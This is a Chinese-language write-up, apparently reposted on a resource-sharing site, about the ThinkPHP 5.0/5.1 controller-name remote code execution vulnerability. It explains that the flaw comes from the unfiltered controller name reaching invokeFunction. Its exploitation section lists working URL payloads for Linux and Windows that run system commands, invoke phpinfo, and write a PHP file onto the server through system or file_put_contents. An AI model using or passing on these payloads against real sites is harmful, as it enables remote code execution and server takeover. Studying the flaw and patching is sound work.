漏洞分析:
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell 漏洞,受影响的版本(v5.0.23 及 v5.1.31 以下版本),推荐尽快更新到最新版本。
文件:thinkphp/library/think/App.php
// 获取控制器名 $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入“\”符号来调用任意类方法。
漏洞原理:
先来讲下,5.0 跟 5.1 的区别吧,tp5.1 中引入了容器(Container)和门面(Facade)这两个新的类 tp5.0 是没有这两个新的类的。
我们先来看看 App 类里的 exec 函数里的执行分层控制器的操作:
case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break;
我们这里是把 controller 的调用信息跟配置信息全部传到了 invokeFunction 这个 执行函数里面去了
public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
因为 think\App 是第二个入口,在 tp 运行的时候就会被加载 所以用 think\App 里面的分层控制器的执行操作的时候,需要去调用 invokeFunction 这个函数。
这个函数有两个参数,如上图所示,第一个是函数的名字,第二个参数数组,比如$function 传入 baidu 然后$vars 传入[111,222]就相当于调用 baidu(111,222)
漏洞利用:
1.执行系统命令显示目录下文件:
Linux: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l WIN: http://www.mysite.com/index.php?s=/index/\think\request/cache&key=ls%20-l|system
2.执行 phpinfo
Linux: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();' WIN: http://www.mysite.com/index.php?s=/index/\think\request/cache&key=1|phpinfo
3.写入 info.php 文件
方法 1: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php 方法 2: http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E
访问 info.php
1.本站大部分内容均收集于网络!若内容若侵犯到您的权益,请发送邮件至:duhaomu@163.com,我们将第一时间处理!
2.资源所需价格并非资源售卖价格,是收集、整理、编辑详情以及本站运营的适当补贴,并且本站不提供任何免费技术支持。
3.所有资源仅限于参考和学习,版权归原作者所有,更多请阅读网站声明。